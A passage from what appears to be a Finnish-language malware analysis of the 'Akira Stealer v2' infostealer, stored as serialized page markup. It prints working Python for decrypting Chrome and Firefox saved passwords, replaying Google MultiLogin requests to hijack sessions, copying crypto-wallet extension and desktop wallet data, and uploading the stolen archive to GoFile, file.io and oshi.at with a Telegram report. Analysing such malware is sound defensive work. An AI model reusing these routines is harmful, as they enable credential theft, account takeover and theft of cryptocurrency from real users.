value[-16:]\n",[1691,7143,7144],{"class":1693,"line":2082},[1691,7145,7146],{},"cipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)\n",[1691,7148,7149],{"class":1693,"line":2406},[1691,7150,7151],{},"decrypted = cipher.decrypt_and_verify(ciphertext, tag)\n",[533,7153,7154,7155,699],{},"Jos tarvitaan varajärjestelynä DPAPI:a (vanhemmissa järjestelmissä), se käyttää funktiota ",[551,7156,7157],{},"win32crypt.CryptUnprotectData()",[533,7159,7160,7166],{},[540,7161,7162,7165],{},[551,7163,7164],{},"decrypt_password_blob",":n selitys:","\nTämä funktio havainnollistaa, miten Akira Stealer purkaa jokaisen tallennetun salasana-arvon Chromium-pohjaisista selaimista. Se käsittelee kaksi tapausta:",[711,7168,7169,7179],{},[607,7170,7171,7174,7175,7178],{},[540,7172,7173],{},"Windowsin DPAPI-möykyt"," (vanhempi tai ei-GCM-salattu data): Palautuu järjestelmäkutsuun ",[551,7176,7177],{},"CryptUnprotectData",", joka käyttää käyttäjän Windows-tunnistetietoja salauksen purkuun.",[607,7180,7181,7184,7185,7188],{},[540,7182,7183],{},"AES-GCM-salatut möykyt"," (Chrome v10/v11 -muoto): Jäsentää versiotunnisteen, poimii IV:n ja todennustagin ja käyttää ",[551,7186,7187],{},"cryptography","-kirjastoa payloadin turvalliseen purkamiseen.",[588,7190,7192],{"className":4503,"code":7191,"language":4505,"meta":594,"style":594},"from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\nfrom cryptography.hazmat.backends import default_backend\n\n\ndef decrypt_password_blob(buffer: bytes, key: bytes) -> str:\n    \"\"\"\n    Decrypts a Chrome password blob using either DPAPI or AES-GCM.\n\n    Parameters:\n    - buffer: raw encrypted blob from the `password_value` field\n    - key: the master AES key retrieved via DPAPI from Local State\n\n    Returns:\n    - Decrypted UTF-8 plaintext password\n    \"\"\"\n    # 1) DPAPI fallback for non-AES-GCM blobs\n    if not buffer.startswith((b'v10', b'v11')):\n        # Uses Windows CryptUnprotectData under the hood\n        return CryptUnprotectData(buffer)\n\n    # 2) AES-GCM decryption for Chrome v10/v11 format:\n    # Bytes layout:\n    # [0:3]    = version header ('v10'/'v11')\n    # [3:15]   = initialization vector (IV)\n    # [15:-16] = ciphertext payload\n    # [-16:]   = GCM authentication tag\n    iv = buffer[3:15]\n    ciphertext = buffer[15:-16]\n    tag = buffer[-16:]\n\n    # Initialize AES-GCM cipher with extracted IV and tag\n    cipher = Cipher(\n        algorithms.AES(key),\n        modes.GCM(iv, tag),\n        backend=default_backend()\n    )\n    decryptor = cipher.decryptor()\n\n    # Perform decryption; raises if authentication fails\n    plaintext = decryptor.update(ciphertext) + decryptor.finalize()\n\n    # Decode to UTF-8, ignoring any stray errors\n    return plaintext.decode('utf-8', errors='ignore')\n",[551,7193,7194,7199,7204,7208,7212,7217,7221,7226,7230,7235,7240,7245,7249,7254,7259,7263,7268,7273,7278,7283,7287,7292,7297,7302,7307,7312,7317,7322,7327,7332,7336,7341,7346,7351,7356,7361,7365,7370,7374,7379,7384,7388,7393],{"__ignoreMap":594},[1691,7195,7196],{"class":1693,"line":1694},[1691,7197,7198],{},"from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\n",[1691,7200,7201],{"class":1693,"line":2070},[1691,7202,7203],{},"from cryptography.hazmat.backends import default_backend\n",[1691,7205,7206],{"class":1693,"line":2076},[1691,7207,3863],{"emptyLinePlaceholder":325},[1691,7209,7210],{"class":1693,"line":2082},[1691,7211,3863],{"emptyLinePlaceholder":325},[1691,7213,7214],{"class":1693,"line":2406},[1691,7215,7216],{},"def decrypt_password_blob(buffer: bytes, key: bytes) -> str:\n",[1691,7218,7219],{"class":1693,"line":2412},[1691,7220,5841],{},[1691,7222,7223],{"class":1693,"line":3070},[1691,7224,7225],{},"    Decrypts a Chrome password blob using either DPAPI or AES-GCM.\n",[1691,7227,7228],{"class":1693,"line":3866},[1691,7229,3863],{"emptyLinePlaceholder":325},[1691,7231,7232],{"class":1693,"line":3872},[1691,7233,7234],{},"    Parameters:\n",[1691,7236,7237],{"class":1693,"line":4118},[1691,7238,7239],{},"    - buffer: raw encrypted blob from the `password_value` field\n",[1691,7241,7242],{"class":1693,"line":5037},[1691,7243,7244],{},"    - key: the master AES key retrieved via DPAPI from Local State\n",[1691,7246,7247],{"class":1693,"line":5043},[1691,7248,3863],{"emptyLinePlaceholder":325},[1691,7250,7251],{"class":1693,"line":5049},[1691,7252,7253],{},"    Returns:\n",[1691,7255,7256],{"class":1693,"line":5055},[1691,7257,7258],{},"    - Decrypted UTF-8 plaintext password\n",[1691,7260,7261],{"class":1693,"line":5061},[1691,7262,5841],{},[1691,7264,7265],{"class":1693,"line":5067},[1691,7266,7267],{},"    # 1) DPAPI fallback for non-AES-GCM blobs\n",[1691,7269,7270],{"class":1693,"line":5073},[1691,7271,7272],{},"    if not buffer.startswith((b'v10', b'v11')):\n",[1691,7274,7275],{"class":1693,"line":5079},[1691,7276,7277],{},"        # Uses Windows CryptUnprotectData under the hood\n",[1691,7279,7280],{"class":1693,"line":5085},[1691,7281,7282],{},"        return CryptUnprotectData(buffer)\n",[1691,7284,7285],{"class":1693,"line":5091},[1691,7286,3863],{"emptyLinePlaceholder":325},[1691,7288,7289],{"class":1693,"line":5097},[1691,7290,7291],{},"    # 2) AES-GCM decryption for Chrome v10/v11 format:\n",[1691,7293,7294],{"class":1693,"line":5103},[1691,7295,7296],{},"    # Bytes layout:\n",[1691,7298,7299],{"class":1693,"line":5109},[1691,7300,7301],{},"    # [0:3]    = version header ('v10'/'v11')\n",[1691,7303,7304],{"class":1693,"line":5115},[1691,7305,7306],{},"    # [3:15]   = initialization vector (IV)\n",[1691,7308,7309],{"class":1693,"line":5121},[1691,7310,7311],{},"    # [15:-16] = ciphertext payload\n",[1691,7313,7314],{"class":1693,"line":5788},[1691,7315,7316],{},"    # [-16:]   = GCM authentication tag\n",[1691,7318,7319],{"class":1693,"line":5793},[1691,7320,7321],{},"    iv = buffer[3:15]\n",[1691,7323,7324],{"class":1693,"line":5798},[1691,7325,7326],{},"    ciphertext = buffer[15:-16]\n",[1691,7328,7329],{"class":1693,"line":5803},[1691,7330,7331],{},"    tag = buffer[-16:]\n",[1691,7333,7334],{"class":1693,"line":5809},[1691,7335,3863],{"emptyLinePlaceholder":325},[1691,7337,7338],{"class":1693,"line":713},[1691,7339,7340],{},"    # Initialize AES-GCM cipher with extracted IV and tag\n",[1691,7342,7343],{"class":1693,"line":5818},[1691,7344,7345],{},"    cipher = Cipher(\n",[1691,7347,7348],{"class":1693,"line":5823},[1691,7349,7350],{},"        algorithms.AES(key),\n",[1691,7352,7353],{"class":1693,"line":5828},[1691,7354,7355],{},"        modes.GCM(iv, tag),\n",[1691,7357,7358],{"class":1693,"line":5833},[1691,7359,7360],{},"        backend=default_backend()\n",[1691,7362,7363],{"class":1693,"line":5838},[1691,7364,5967],{},[1691,7366,7367],{"class":1693,"line":5844},[1691,7368,7369],{},"    decryptor = cipher.decryptor()\n",[1691,7371,7372],{"class":1693,"line":5850},[1691,7373,3863],{"emptyLinePlaceholder":325},[1691,7375,7376],{"class":1693,"line":5856},[1691,7377,7378],{},"    # Perform decryption; raises if authentication fails\n",[1691,7380,7381],{"class":1693,"line":5861},[1691,7382,7383],{},"    plaintext = decryptor.update(ciphertext) + decryptor.finalize()\n",[1691,7385,7386],{"class":1693,"line":5866},[1691,7387,3863],{"emptyLinePlaceholder":325},[1691,7389,7390],{"class":1693,"line":5871},[1691,7391,7392],{},"    # Decode to UTF-8, ignoring any stray errors\n",[1691,7394,7395],{"class":1693,"line":5876},[1691,7396,7397],{},"    return plaintext.decode('utf-8', errors='ignore')\n",[721,7399,7401],{"id":7400},"_76-istuntotokenien-kaappaus","7.6 Istuntotokenien kaappaus",[533,7403,727],{},[533,7405,7406,7407,7410],{},"Akira ei pysähdy passiiviseen datankeruuseen—se kaappaa aktiivisesti live-istuntotokeneja esiintyäkseen uhreina reaaliajassa. Poimittuaan salatut tokenit selaimen varastosta se rekonstruoi vaaditun valtuutusotsikon ja toistaa ",[540,7408,7409],{},"MultiLogin","-pyynnön Googlen OAuth-päätepistettä vastaan. Alla oleva koodikatkelma havainnollistaa tätä prosessia:",[588,7412,7414],{"className":4503,"code":7413,"language":4505,"meta":594,"style":594},"# Build SAPISIDHASH header for Google services\norigin = \"https://accounts.google.com\"\ntimestamp = int(time.time())\n# Compute SHA1 of \"timestamp origin SAPISID\"\npayload = f\"{timestamp} {origin} {sap_id_cookie}\".encode()\nsignature = hashlib.sha1(payload).hexdigest()\nheaders = {\n    \"Authorization\": f\"SAPISIDHASH {timestamp}_{signature}\",\n    \"Content-Type\": \"application/json\"\n}\n# Replay MultiLogin to fetch valid session cookies\nresponse = requests.post(\n    \"https://accounts.google.com/accounts/multilogin\",\n    headers=headers,\n    json={\"continue\": \"https://mail.google.com\"}\n)\nif response.status_code == 200:\n    # Victim’s cookies now present in response.cookies\n    hijacked_cookies = response.cookies\n",[551,7415,7416,7421,7426,7431,7436,7441,7446,7451,7456,7461,7465,7470,7475,7480,7485,7490,7494,7499,7504],{"__ignoreMap":594},[1691,7417,7418],{"class":1693,"line":1694},[1691,7419,7420],{},"# Build SAPISIDHASH header for Google services\n",[1691,7422,7423],{"class":1693,"line":2070},[1691,7424,7425],{},"origin = \"https://accounts.google.com\"\n",[1691,7427,7428],{"class":1693,"line":2076},[1691,7429,7430],{},"timestamp = int(time.time())\n",[1691,7432,7433],{"class":1693,"line":2082},[1691,7434,7435],{},"# Compute SHA1 of \"timestamp origin SAPISID\"\n",[1691,7437,7438],{"class":1693,"line":2406},[1691,7439,7440],{},"payload = f\"{timestamp} {origin} {sap_id_cookie}\".encode()\n",[1691,7442,7443],{"class":1693,"line":2412},[1691,7444,7445],{},"signature = hashlib.sha1(payload).hexdigest()\n",[1691,7447,7448],{"class":1693,"line":3070},[1691,7449,7450],{},"headers = {\n",[1691,7452,7453],{"class":1693,"line":3866},[1691,7454,7455],{},"    \"Authorization\": f\"SAPISIDHASH {timestamp}_{signature}\",\n",[1691,7457,7458],{"class":1693,"line":3872},[1691,7459,7460],{},"    \"Content-Type\": \"application/json\"\n",[1691,7462,7463],{"class":1693,"line":4118},[1691,7464,2415],{},[1691,7466,7467],{"class":1693,"line":5037},[1691,7468,7469],{},"# Replay MultiLogin to fetch valid session cookies\n",[1691,7471,7472],{"class":1693,"line":5043},[1691,7473,7474],{},"response = requests.post(\n",[1691,7476,7477],{"class":1693,"line":5049},[1691,7478,7479],{},"    \"https://accounts.google.com/accounts/multilogin\",\n",[1691,7481,7482],{"class":1693,"line":5055},[1691,7483,7484],{},"    headers=headers,\n",[1691,7486,7487],{"class":1693,"line":5061},[1691,7488,7489],{},"    json={\"continue\": \"https://mail.google.com\"}\n",[1691,7491,7492],{"class":1693,"line":5067},[1691,7493,5256],{},[1691,7495,7496],{"class":1693,"line":5073},[1691,7497,7498],{},"if response.status_code == 200:\n",[1691,7500,7501],{"class":1693,"line":5079},[1691,7502,7503],{},"    # Victim’s cookies now present in response.cookies\n",[1691,7505,7506],{"class":1693,"line":5085},[1691,7507,7508],{},"    hijacked_cookies = response.cookies\n",[533,7510,7511],{},"Toistamalla tämän pyynnön Akira voi esiintyä käyttäjän Gmailina, Drivena tai minä tahansa muuna kelvollisen istunnon suojaamana Google-palveluna—ilman tunnistetietoja. Tämä tekniikka hyödyntää Googlen omaa tokenien hyväksymislogiikkaa, mikä tekee siitä lähes erottamattoman laillisesta asiakaskäyttäytymisestä.",[721,7513,7515],{"id":7514},"_77-firefox-salauksen-purku","7.7 Firefox-salauksen purku",[533,7517,727],{},[533,7519,7520,7521,7524],{},"Gecko‑pohjaiset selaimet kuten Firefox salaavat tallennetut tunnistetiedot ja evästeet pääavaimella, joka on tallennettu tiedostoon ",[551,7522,7523],{},"key4.db",". Akira sisältää riisutun salauksenpurkurutiinin, joka peilaa Mozillan NSS-logiikkaa ja käsittelee sekä 3DES- että AES‑CBC-variantit laukaisematta pääsalasanakehotetta. Esimerkkikäyttö:",[588,7526,7528],{"className":4503,"code":7527,"language":4505,"meta":594,"style":594},"# Load global Salt and encrypted item from key4.db\ndb = sqlite3.connect(profile_path + \"/key4.db\")\ncursor = db.cursor()\ncursor.execute(\"SELECT item1, item2 FROM metadata WHERE id = 'password'\")\nglobal_salt, item2 = cursor.fetchone()\n\n# Decode DER structure and derive key\ndecoded, _ = der_decode(item2)\nentry_salt = decoded[0][1][0].asOctets()\ncipher_text = decoded[1].asOctets()\n# Derive 3DES key\nkey = derive_3des_key(global_salt, master_password, entry_salt)\niv = decoded[0][1][1].asOctets()\n# Decrypt credentials\ncipher = DES3.new(key, DES3.MODE_CBC, iv)\nclear_password = unpad(cipher.decrypt(cipher_text))\n\nprint(\"Decrypted Firefox password:\", clear_password)\n",[551,7529,7530,7535,7540,7545,7550,7555,7559,7564,7569,7574,7579,7584,7589,7594,7599,7604,7609,7613],{"__ignoreMap":594},[1691,7531,7532],{"class":1693,"line":1694},[1691,7533,7534],{},"# Load global Salt and encrypted item from key4.db\n",[1691,7536,7537],{"class":1693,"line":2070},[1691,7538,7539],{},"db = sqlite3.connect(profile_path + \"/key4.db\")\n",[1691,7541,7542],{"class":1693,"line":2076},[1691,7543,7544],{},"cursor = db.cursor()\n",[1691,7546,7547],{"class":1693,"line":2082},[1691,7548,7549],{},"cursor.execute(\"SELECT item1, item2 FROM metadata WHERE id = 'password'\")\n",[1691,7551,7552],{"class":1693,"line":2406},[1691,7553,7554],{},"global_salt, item2 = cursor.fetchone()\n",[1691,7556,7557],{"class":1693,"line":2412},[1691,7558,3863],{"emptyLinePlaceholder":325},[1691,7560,7561],{"class":1693,"line":3070},[1691,7562,7563],{},"# Decode DER structure and derive key\n",[1691,7565,7566],{"class":1693,"line":3866},[1691,7567,7568],{},"decoded, _ = der_decode(item2)\n",[1691,7570,7571],{"class":1693,"line":3872},[1691,7572,7573],{},"entry_salt = decoded[0][1][0].asOctets()\n",[1691,7575,7576],{"class":1693,"line":4118},[1691,7577,7578],{},"cipher_text = decoded[1].asOctets()\n",[1691,7580,7581],{"class":1693,"line":5037},[1691,7582,7583],{},"# Derive 3DES key\n",[1691,7585,7586],{"class":1693,"line":5043},[1691,7587,7588],{},"key = derive_3des_key(global_salt, master_password, entry_salt)\n",[1691,7590,7591],{"class":1693,"line":5049},[1691,7592,7593],{},"iv = decoded[0][1][1].asOctets()\n",[1691,7595,7596],{"class":1693,"line":5055},[1691,7597,7598],{},"# Decrypt credentials\n",[1691,7600,7601],{"class":1693,"line":5061},[1691,7602,7603],{},"cipher = DES3.new(key, DES3.MODE_CBC, iv)\n",[1691,7605,7606],{"class":1693,"line":5067},[1691,7607,7608],{},"clear_password = unpad(cipher.decrypt(cipher_text))\n",[1691,7610,7611],{"class":1693,"line":5073},[1691,7612,3863],{"emptyLinePlaceholder":325},[1691,7614,7615],{"class":1693,"line":5079},[1691,7616,7617],{},"print(\"Decrypted Firefox password:\", clear_password)\n",[533,7619,7620,7621,7623,7624,7626,7627,7629],{},"Tämän rutiinin avulla Akira voi läpinäkyvästi dumpata ",[551,7622,7019],{},"-, ",[551,7625,7022],{},"- ja ",[551,7628,7025],{},"-tiedostot jokaisesta Firefox-profiilista ja kirjoittaa puretun tulosteen polkuun:",[588,7631,7634],{"className":7632,"code":7633,"language":593},[591],"Passwords/Firefox_\u003CProfileName> Passwords.txt\nCookies/Firefox_\u003CProfileName> Cookies.txt\nHistory/Firefox_\u003CProfileName> History.txt\n",[551,7635,7633],{"__ignoreMap":594},[533,7637,7638],{},"Tämä lähestymistapa ohittaa käyttäjätason pääsalasanatarkistukset ja antaa stealerille esteettömän pääsyn kaikkiin tallennettuihin tunnistetietoihin.*",[533,7640,7641],{},[540,7642,7643],{},"4. Tiedostorakenne ja nimeäminen",[588,7645,7648],{"className":7646,"code":7647,"language":593,"meta":594},[591],"\u003CComputerName>.zip\n└── \u003CComputerName>\\\n    ├── Passwords\\\n    │   ├── Chrome Passwords.txt\n    │   ├── Edge Passwords.txt\n    │   └── …\n    ├── Cookies\\\n    │   ├── Chrome Cookies.txt\n    │   ├── Edge Cookies.txt\n    │   ├── user@example.com Google Session.txt\n    │   └── …\n    ├── CreditCards\\\n    │   ├── Chrome CreditCards.txt\n    │   └── …\n    ├── History\\\n    │   ├── Chrome History.txt\n    │   └── …\n    ├── Autofill\\\n    │   ├── Chrome Autofill.txt\n    │   └── …\n    └── Wallets\\\n        ├── Firefox_Default_profiles.zip\n        ├── Firefox_Profile1_profiles.zip\n        └── …\n",[551,7649,7647],{"__ignoreMap":594},[604,7651,7652,7666,7672],{},[607,7653,7654,7655,7658,7659,7662,7663,2052],{},"Jokainen ",[551,7656,7657],{},".txt"," alkaa yhdenmukaisella otsikolla (",[551,7660,7661],{},"\u003C================[Akira Stealer v2]>================>",") ja erotinrivillä (",[551,7664,7665],{},"====…====",[607,7667,7668,7669,699],{},"Levyllä oleva ZIP: ",[551,7670,7671],{},"%TEMP%\\\u003CComputerName>.zip",[607,7673,7674,7675,699],{},"C&C-tiedostonimen tunniste: ",[551,7676,7677],{},"Akira-\u003Cusername>.zip",[533,7679,7680],{},[540,7681,7682],{},"5. Exfiltraatio ja siivous",[588,7684,7686],{"className":4503,"code":7685,"language":4505,"meta":594,"style":594},"url = Webhook.uploadToGofile(zip_path)\nif not url:\n    url = Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\nWebhook.sendDataTG(zip_path, chatId, startup)\nUtils.clear_client_folder()\n",[551,7687,7688,7693,7698,7703,7708],{"__ignoreMap":594},[1691,7689,7690],{"class":1693,"line":1694},[1691,7691,7692],{},"url = Webhook.uploadToGofile(zip_path)\n",[1691,7694,7695],{"class":1693,"line":2070},[1691,7696,7697],{},"if not url:\n",[1691,7699,7700],{"class":1693,"line":2076},[1691,7701,7702],{},"    url = Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\n",[1691,7704,7705],{"class":1693,"line":2082},[1691,7706,7707],{},"Webhook.sendDataTG(zip_path, chatId, startup)\n",[1691,7709,7710],{"class":1693,"line":2406},[1691,7711,7712],{},"Utils.clear_client_folder()\n",[604,7714,7715,7725,7739,7756],{},[607,7716,7717,7720,7721,7724],{},[540,7718,7719],{},"Ensisijainen kanava (GoFile.io):"," Haittaohjelma yrittää ensin ladata kaikki varastetut artefaktit sisältävän ZIP-arkiston GoFile.io-palveluun ja jäsentää JSON-vastauksesta ",[551,7722,7723],{},"downloadPage","-URL:n, joka antaa hyökkääjälle suoran pääsyn arkistoon.",[607,7726,7727,7730,7731,7734,7735,7738],{},[540,7728,7729],{},"Automaattiset varajärjestelyt:"," Jos GoFile-päätepiste epäonnistuu (verkon aikakatkaisu, käyttörajoitus jne.), koodi palautuu saumattomasti ",[551,7732,7733],{},"file.io",":hon, ja jos sekin palauttaa tyhjän linkin, lopulta ",[551,7736,7737],{},"oshi.at",":hen. Kummatkin vaihtoehdot kutsutaan poikkeuksia nostamatta, mikä varmistaa, että jokin kolmesta palvelusta yritetään aina peräkkäin.",[607,7740,7741,7744,7745,7748,7749,620,7752,7755],{},[540,7742,7743],{},"Webhook-raportointi:"," Kun URL (tai tyhjä merkkijono pysyvässä epäonnistumisessa) on selvitetty, kutsutaan ",[551,7746,7747],{},"Webhook.sendDataTG(...)",", joka paketoi yhteen latauslinkin, koneen tunnisteet (",[551,7750,7751],{},"chatId",[551,7753,7754],{},"startup","-lippu) ja kaikki kategorioiden lukumäärät (salasanat, evästeet, automaattiset täytöt, lompakot) yhdeksi Discord- tai Telegram-viestiksi.",[607,7757,7758,7761,7762,7765],{},[540,7759,7760],{},"Välitön siivous:"," Raportoinnin jälkeen ",[551,7763,7764],{},"Utils.clear_client_folder()"," poistaa rekursiivisesti koko väliaikaisen työtilan ja itse ZIP-tiedoston, jättämättä jälkeä kerätystä datasta tai arkistosta levylle.",[829,7767,7768,7773],{},[533,7769,7770],{},[540,7771,7772],{},"Vikasietoisuus:",[604,7774,7775,7782],{},[607,7776,7777,7778,7781],{},"Kaikki latausrutiinit palauttavat ",[551,7779,7780],{},"\"\""," epäonnistuessaan sen sijaan että heittäisivät poikkeuksen, mikä takaa koodin suoritusvirran jatkumisen.",[607,7783,7784],{},"Vaikka jokainen palvelu olisi tavoittamattomissa, haittaohjelma lähettää silti webhook-raportin (tosin puuttuvalla linkillä) ennen paikallisten artefaktien pyyhkimistä, mikä minimoi forensiset jäänteet, ellei prosessi kaadu odottamatta.",[835,7786],{"className":7787},[838,839],[533,7789,7790],{},[540,7791,7792],{},"6. Vankkuus ja virheenkäsittely",[604,7794,7795,7813,7819,7828],{},[607,7796,7797,7800,7801,7804,7805,7808,7809,7812],{},[540,7798,7799],{},"Yksityiskohtainen poikkeustenkäsittely:"," Jokainen tiedostojärjestelmävuorovaikutus—olipa se ",[551,7802,7803],{},"shutil.copy",", SQLite-kyselyt tai ZIP-operaatiot—on kääritty ",[551,7806,7807],{},"try/except","-lohkoihin. Kun virhe tapahtuu (lukittu tietokanta, käyttöoikeus evätty, virheellinen tietue), poikkeus napataan ja kirjataan ",[551,7810,7811],{},"Akira.logErrorTg()","-funktiolla, ja suoritus jatkuu, mikä eristää epäonnistumisen kyseiseen tiedostoon tai moduuliin.",[607,7814,7815,7818],{},[540,7816,7817],{},"Säikeistetty eristys selainkohtaisesti:"," Kunkin tuetun selaimen poimintarutiinit suoritetaan omassa säikeessään. Tämä monisäikeinen suunnittelu varmistaa, ettei yhden selaimen poiminnan kaatuminen tai lukkiutuminen (esim. korruptoitunut profiili, puuttuva avain) pysäytä tai viivytä muiden selaimien analyysiä.",[607,7820,7821,7824,7825,7827],{},[540,7822,7823],{},"Hiljaiset varajärjestelyt ja oletukset:"," Monet aputoiminnot, kuten lataus vaihtoehtoisiin tiedostopalveluihin, etäresurssien tarkistus tai aliprosessien käynnistys, käyttävät sisäkkäisiä ",[551,7826,7807],{},"-lohkoja ilman pintatason hälytyksiä—mikä maksimoi huomaamattomuuden. Oletusarvot (tyhjät merkkijonot, totuusarvot) valitaan pitämään suoritusvirta keskeytymättömänä ja poistamaan ilmeiset virhetilanteet.",[607,7829,7830,7833,7834,7837,7838,7841],{},[540,7831,7832],{},"Mutex- ja käynnistysvahdit:"," Nimetty mutex (",[551,7835,7836],{},"1qsMlseJplTlArIF14f",") estää useat instanssit, ja rekisteritarkistukset ja ",[551,7839,7840],{},"Utils.CreateMutex()"," suojaavat samanaikaisilta suorituksilta, mikä tuo lisävakautta todellisessa käyttöönotossa.",[721,7843,7845],{"id":7844},"_78-lompakoiden-ja-tokenien-exfiltraatio","7.8 Lompakoiden ja tokenien exfiltraatio",[533,7847,727],{},[533,7849,7850],{},"Tässä vaiheessa Akira Stealer v2 suorittaa kattavimman haravoinnin kryptovaluuttatunnistetietojen ja istuntotokenien varalta, kattaen selainlaajennukset, työpöytälompakot, viestintätokenit ja live-keyloggauksen. Se suoritetaan rinnakkaisissa säikeissä, mikä varmistaa, ettei yhtään vektoria jää huomiotta. Alla on vaihe vaiheelta etenevä, koodiin nojaava syväsukellus.",[870,7852,7854],{"id":7853},"_781-selainlaajennuslompakot","7.8.1 Selainlaajennuslompakot",[533,7856,876],{},[533,7858,7859,7862],{},[540,7860,7861],{},"Kohteet:"," Yli 80 laajennusta suosituissa selaimissa, mukaan lukien MetaMask, Phantom, Trust Wallet, Coinbase Wallet, Solflare, Exodus, Binance Chain Wallet, Keplr, Nami, TronLink, Rabby, Talisman ja muita.",[588,7864,7866],{"className":4503,"code":7865,"language":4505,"meta":594,"style":594},"# Hardcoded list of extension IDs and human-friendly names\nwalletsExtensions = [\n    [\"MetaMask\",        \"nkbihfbeogaeaoehlefnkodbefgpgknn\"],\n    [\"Phantom\",         \"bfnaelmomeimhlpmgjnjophhpkkoljpa\"],\n    [\"TrustWallet\",     \"egjidjbpglichdcondbcbdnbeeppgdph\"],\n    [\"CoinbaseWallet\",  \"hfhmhopkfngkjcalldmaepmpilmjjemb\"],\n    [\"Solflare\",        \"bhhhlbepdkbapadjdnnojkbgioiodbic\"],\n    [\"BinanceChain\",    \"fhbohimaelbohpjbbldcngcnapndodjp\"],\n    [\"Keplr\",           \"dmkamcknogkgcdfhhbddcghachkejeap\"],\n    [\"Nami\",            \"lpfcbjknijpeeillifnkikgncikgfhdo\"],\n    [\"Talisman\",        \"fijngjgcjhjmmpcmkeiomlglpeiijkld\"],\n    [\"TronLink\",        \"ibnejdfjmmkpcnlpebklmnkoeoihofec\"],\n    # ... plus dozens more mapped in code\n]\n# Extraction loop for each browser profile\nfor browser_name, (user_data, proc_name) in paths.items():\n    base = os.path.join(user_data, \"Default\", \"Local Extension Settings\")\n    for ext_name, ext_id in walletsExtensions:\n        src = os.path.join(base, ext_id)\n        if os.path.isdir(src):\n            dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", f\"{ext_name}_{browser_name}\")\n            shutil.copytree(src, dest, dirs_exist_ok=True)\n            data.ext_wallets_count += 1\n",[551,7867,7868,7873,7878,7883,7888,7893,7898,7903,7908,7913,7918,7923,7928,7933,7938,7943,7948,7953,7958,7963,7968,7973,7978],{"__ignoreMap":594},[1691,7869,7870],{"class":1693,"line":1694},[1691,7871,7872],{},"# Hardcoded list of extension IDs and human-friendly names\n",[1691,7874,7875],{"class":1693,"line":2070},[1691,7876,7877],{},"walletsExtensions = [\n",[1691,7879,7880],{"class":1693,"line":2076},[1691,7881,7882],{},"    [\"MetaMask\",        \"nkbihfbeogaeaoehlefnkodbefgpgknn\"],\n",[1691,7884,7885],{"class":1693,"line":2082},[1691,7886,7887],{},"    [\"Phantom\",         \"bfnaelmomeimhlpmgjnjophhpkkoljpa\"],\n",[1691,7889,7890],{"class":1693,"line":2406},[1691,7891,7892],{},"    [\"TrustWallet\",     \"egjidjbpglichdcondbcbdnbeeppgdph\"],\n",[1691,7894,7895],{"class":1693,"line":2412},[1691,7896,7897],{},"    [\"CoinbaseWallet\",  \"hfhmhopkfngkjcalldmaepmpilmjjemb\"],\n",[1691,7899,7900],{"class":1693,"line":3070},[1691,7901,7902],{},"    [\"Solflare\",        \"bhhhlbepdkbapadjdnnojkbgioiodbic\"],\n",[1691,7904,7905],{"class":1693,"line":3866},[1691,7906,7907],{},"    [\"BinanceChain\",    \"fhbohimaelbohpjbbldcngcnapndodjp\"],\n",[1691,7909,7910],{"class":1693,"line":3872},[1691,7911,7912],{},"    [\"Keplr\",           \"dmkamcknogkgcdfhhbddcghachkejeap\"],\n",[1691,7914,7915],{"class":1693,"line":4118},[1691,7916,7917],{},"    [\"Nami\",            \"lpfcbjknijpeeillifnkikgncikgfhdo\"],\n",[1691,7919,7920],{"class":1693,"line":5037},[1691,7921,7922],{},"    [\"Talisman\",        \"fijngjgcjhjmmpcmkeiomlglpeiijkld\"],\n",[1691,7924,7925],{"class":1693,"line":5043},[1691,7926,7927],{},"    [\"TronLink\",        \"ibnejdfjmmkpcnlpebklmnkoeoihofec\"],\n",[1691,7929,7930],{"class":1693,"line":5049},[1691,7931,7932],{},"    # ... plus dozens more mapped in code\n",[1691,7934,7935],{"class":1693,"line":5055},[1691,7936,7937],{},"]\n",[1691,7939,7940],{"class":1693,"line":5061},[1691,7941,7942],{},"# Extraction loop for each browser profile\n",[1691,7944,7945],{"class":1693,"line":5067},[1691,7946,7947],{},"for browser_name, (user_data, proc_name) in paths.items():\n",[1691,7949,7950],{"class":1693,"line":5073},[1691,7951,7952],{},"    base = os.path.join(user_data, \"Default\", \"Local Extension Settings\")\n",[1691,7954,7955],{"class":1693,"line":5079},[1691,7956,7957],{},"    for ext_name, ext_id in walletsExtensions:\n",[1691,7959,7960],{"class":1693,"line":5085},[1691,7961,7962],{},"        src = os.path.join(base, ext_id)\n",[1691,7964,7965],{"class":1693,"line":5091},[1691,7966,7967],{},"        if os.path.isdir(src):\n",[1691,7969,7970],{"class":1693,"line":5097},[1691,7971,7972],{},"            dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", f\"{ext_name}_{browser_name}\")\n",[1691,7974,7975],{"class":1693,"line":5103},[1691,7976,7977],{},"            shutil.copytree(src, dest, dirs_exist_ok=True)\n",[1691,7979,7980],{"class":1693,"line":5109},[1691,7981,7982],{},"            data.ext_wallets_count += 1\n",[604,7984,7985,7991],{},[607,7986,7987,7990],{},[540,7988,7989],{},"Kopioidut tiedostot",": Laajennuskohtaiset IndexedDB-, LevelDB-, JSON- ja konfiguraatiotiedostot, jotka sisältävät salattuja avaimia, seed-lauseita ja kirjautumistietoja.",[607,7992,7993,981,7996,620,7999,3904],{},[540,7994,7995],{},"Tuloskansio",[551,7997,7998],{},"Wallets/MetaMask_Chrome/",[551,8000,8001],{},"Wallets/Phantom_Edge/",[870,8003,8005],{"id":8004},"_782-työpöytälompakkosovellukset","7.8.2 Työpöytälompakkosovellukset",[533,8007,876],{},[533,8009,8010,8012],{},[540,8011,7861],{}," Suuret työpöytäasiakkaat, kuten Electrum, Exodus, Atomic Wallet, Guarda, Rabby, Coinomi, Zcash, Armory, Bytecoin, Jaxx, Coinomi jne.",[588,8014,8016],{"className":4503,"code":8015,"language":4505,"meta":594,"style":594},"walletsDesktop = [\n    [\"Electrum\",     os.path.join(os.getenv('APPDATA'), \"Electrum\", \"wallets\")],\n    [\"Exodus\",       os.path.join(os.getenv('APPDATA'), \"Exodus\", \"exodus.wallet\")],\n    [\"AtomicWallet\", os.path.join(os.getenv('LOCALAPPDATA'), \"atomic\", \"Local Storage\", \"leveldb\")],\n    [\"Guarda\",       os.path.join(os.getenv('APPDATA'), \"Guarda\", \"Local Storage\", \"leveldb\")],\n    [\"Rabby\",        os.path.join(os.getenv('APPDATA'), 